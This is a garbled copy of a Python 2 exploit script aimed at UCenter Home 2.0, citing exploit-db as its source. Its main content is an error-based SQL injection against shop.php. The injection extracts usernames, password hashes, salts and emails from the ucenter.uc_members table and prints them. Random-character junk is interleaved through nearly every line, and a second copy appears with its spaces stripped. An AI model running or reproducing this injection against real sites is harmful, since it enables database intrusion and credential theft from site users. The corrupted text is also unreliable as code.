#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl' z' w5 L% _, @
. Q4 m1 R# c: g! a t3 G- S. l. ]7 S5 F/ h. o
#!/usr/bin/env python , N& {. h3 b. U' ~6 w
3 s/ P$ x2 k& m6 s
import sys 1 H+ F3 i2 R: M9 ? E7 @9 L
import urllib2 $ U3 t3 z# E$ A
import re 8 X: W' ^- V; G: R
$ {* J0 B7 [5 \
def info(): & k8 H) m8 v% }8 L, H7 g- H& r
print 'From:http://www.exploit-db.com/exploits/14997/'
6 ^( P' V' H: z! v. m+ d0 O print 'http://www.hake.cc/Web_loudong/' 5 ~2 e$ L. Z& L: e$ n$ n
print 'changed:qiaoy'
4 Z$ ^" h1 E* k& A print 'exp:'
* f/ [; ^* C8 W* g$ k* L print ' ./UCenter_Home_2.0.py site' + g% k! y& s; U0 u" U+ Z
6 C, |; }8 o" a* ?. a- V
def main(): % L0 O7 B# ]. b
if len(sys.argv) != 2: / d! n4 J8 D3 r5 S. r7 ~! M9 M
info() 0 c% _! B: \/ l5 [) T6 n+ s
else: " m n* y- U& P; f' m7 W8 Z
site = sys.argv[1]
/ {+ w/ _0 w) f# v if site[0:7] == 'http://': 5 q( K5 K x \: T/ C
sitesite =site
! w# h' y e. d elif site[0:8] == 'https://': # D- f2 Y+ ^5 |# p) I
sitesite = site
/ K7 _, P/ q4 [ else:
' u$ s' C5 i4 r( i/ U1 a3 B site = 'http://'+site
/ U7 Z6 h4 z9 n/ @6 J# I try: " z* }( r0 L* v8 V: K. k
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1' + X2 j3 b+ C2 U) e! j" e8 A; ^+ [
Value = urllib2.urlopen(url).read() & e6 P* b- M2 K& v+ u; I
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0] & a$ Q" h3 E2 M6 f
hacked = Msg.split(':') 6 E9 n n- b- N; W7 n" V/ C
print 'Name: '+hacked[1]
) v6 q; `# ~; e2 q print 'Passwd: '+hacked[2] , u D5 b. P7 p0 n" S# |6 r
print 'salt: '+hacked[3] 8 x/ S, `5 x6 l6 S
print 'email: '+hacked[4]
2 S6 w, u0 y# q# l% A8 V' j% M except: : f5 x% |2 [) D
print 'Sorry,I can\'t work............' 7 `/ U1 i9 i# e+ o% d6 e9 B1 T
3 h: j; k9 u# r, b* C
if __name__ == '__main__': + V0 h6 `- B. {, u
main() |